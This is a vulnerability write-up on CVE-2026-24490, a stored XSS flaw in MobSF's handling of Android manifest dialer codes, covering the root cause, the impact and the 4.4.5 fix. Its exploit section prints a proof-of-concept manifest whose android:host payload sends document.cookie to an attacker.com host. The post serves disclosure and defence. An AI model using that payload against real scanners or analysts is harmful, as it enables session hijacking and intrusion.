CVE-2026-24490

MobSF Stored XSS: When the Scanner Becomes the Target

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 27, 2026·6 min read·9 visits

Executive Summary (TL;DR)

MobSF trusted the contents of AndroidManifest.xml a little too much. By crafting a malicious APK with a specific 'dialer code' intent, an attacker can inject JavaScript into the static analysis report. When a researcher opens the report, the script executes, potentially stealing sessions or compromising the host.

A critical Stored Cross-Site Scripting (XSS) vulnerability in Mobile Security Framework (MobSF) allows attackers to inject malicious JavaScript via crafted Android Manifest files. This turns the security analyst's dashboard into a weapon against them.

The Hook: Who Watches the Watchmen?

MobSF (Mobile Security Framework) is the Swiss Army knife for mobile application security. It’s the tool you fire up when you have a suspicious APK and want to know if it's malware or just poorly written code. You upload the binary, it churns through the bytecode, resources, and manifest, and spits out a beautiful, comprehensive HTML report. It is the definition of a 'trusted tool' in a researcher's arsenal.

But here's the irony: in security software, the parser is often the most dangerous component. To analyze malware, you have to parse it. And if your parser isn't paranoid, the malware analyzes you back. CVE-2026-24490 is exactly this scenario—a classic Stored XSS vulnerability nested deep within the static analysis logic for Android manifests.

The vulnerability allows an attacker to embed a payload inside an APK file. This payload lies dormant until a security analyst—potentially an admin or a researcher with high-level access—decides to audit that specific file. It’s a literal booby trap for blue teams.

The Flaw: Trusting the Manifest

The root cause lies in how MobSF handles specific Android Manifest attributes. During static analysis, MobSF looks for 'Secret Codes' (also known as Dialer Codes). These are special codes like *#*#4636#*#* that, when entered into the phone dialer, trigger hidden menus or diagnostics. These are defined in AndroidManifest.xml via intent filters with the scheme android_secret_code.

When MobSF finds such an intent, it attempts to extract the android:host attribute, which contains the actual numeric code. The logic was intended to be helpful: find the code, put it in a list, and show it to the user. However, the extraction logic treated the XML content as plain text rather than untrusted input.

The developers made a fatal assumption: that the android:host attribute would strictly contain numbers or safe characters. They failed to realize that an attacker can put anything in there, including full HTML strings, as long as the XML structure remains valid. MobSF grabbed this string, threw it into a report object, and prepared it for display.

The Code: The 'Safe' Filter Trap

Let’s look at the smoking gun. The issue is a two-part tragedy involving Python logic and Django templates. First, in mobsf/StaticAnalyzer/views/android/manifest_analysis.py, the code extracts the host without sanitization:

# The extraction (simplified)
xmlhost = data.getAttribute(f'{ns}:host') 
# xmlhost is now potentially "<img src=x onerror=alert(1)>"
ret_list.append(('dialer_code_found', (xmlhost,), ()))

This raw string is then formatted into a title defined in the Knowledge Base. The developers wanted to include a line break <br> in the title for formatting purposes. Because they wanted that <br> to render as a newline and not as text, they had to tell the template engine to disable escaping.

In Django, this is done with the |safe filter. It's the developer equivalent of disabling the safety on a firearm because the trigger is a bit stiff.

<!-- mobsf/templates/static_analysis/android_binary_analysis.html -->
<td>
    <!-- The |safe filter tells Django: "I checked this, don't escape HTML." -->
    {{item|key:"title" | safe}}
</td>

Because the title string contained the user-controlled xmlhost variable, and the entire string was marked safe, the attacker's JavaScript was rendered directly into the browser DOM.

The Exploit: Building a Trojan APK

Exploiting this is trivially easy for anyone familiar with Android development. You don't need memory corruption or ROP chains; you just need a text editor. We create a valid AndroidManifest.xml but inject an XSS payload into the android:host field of a secret code receiver.

Here is what the malicious manifest looks like:

<receiver android:name=".MaliciousReceiver">
    <intent-filter>
        <action android:name="android.provider.Telephony.SECRET_CODE" />
        <!-- The Payload -->
        <data android:scheme="android_secret_code" 
              android:host="&lt;img src=x onerror=fetch('http://attacker.com/?cookie='+document.cookie)&gt;" />
    </intent-filter>
</receiver>

We compile this into an APK (let's call it malware_sample_v1.apk) and upload it to the victim's MobSF instance. The server parses it, stores the "host" (our payload) in the database, and generates the report.

The moment the analyst opens the "Static Analysis" report page, the browser renders the <img> tag. The image source x fails to load, triggering the onerror event, which executes our JavaScript. Game over.

The Impact: From Scanner to Shell

Why is XSS in a vulnerability scanner a big deal? Context matters. MobSF is often deployed in internal environments, accessible by engineering teams and security operations centers (SOCs).

  1. Session Hijacking: The most immediate impact is stealing the session cookies of the user viewing the report. If that user is an administrator, the attacker can take over the MobSF instance, delete reports, or modify configurations.

  2. Internal Network Access: Through browser hooking (using frameworks like BeEF), the attacker can use the victim's browser as a proxy to scan the internal network, hitting endpoints that are not exposed to the internet.

  3. Client-Side RCE: In some scenarios, if the browser or the dashboard has further vulnerabilities, XSS can be the stepping stone to full Remote Code Execution on the analyst's machine.

This vulnerability turns the act of analyzing malware into a risk. It forces the defenders to treat their own tools with suspicion.

The Fix: Killing the unsafe filter

The remediation in version 4.4.5 was robust. The developers didn't just patch the one input; they changed their rendering philosophy for this component.

First, they introduced an explicit escaping function in the Python code:

def escape_manifest_attribute(value):
    if not value:
        return value
    return escape(value) # Django's built-in escape

Second, and most importantly, they removed the |safe filter from the templates. To handle the formatting issue (where they previously needed safe to render <br>), they simply removed the HTML tags from the python strings. If you need formatting, do it in the template structure, not in the data string.

Key Takeaway: If you find yourself typing |safe (or dangerouslySetInnerHTML in React) to solve a formatting annoyance, stop. You are likely introducing a security hole.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.1/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N

Affected Systems

Mobile Security Framework (MobSF) < 4.4.5

Affected Versions Detail

Product
Affected Versions
Fixed Version
Mobile Security Framework (MobSF)
MobSF
< 4.4.54.4.5
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (Stored via File Upload)
CVSS Score8.1 (High)
ImpactSession Hijacking, RCE via Browser
Exploit StatusProof of Concept Available
Fix Version4.4.5
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Vulnerability identified
2026-01-15
Patch released (v4.4.5)
2026-01-26
CVE Published
2026-01-27

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.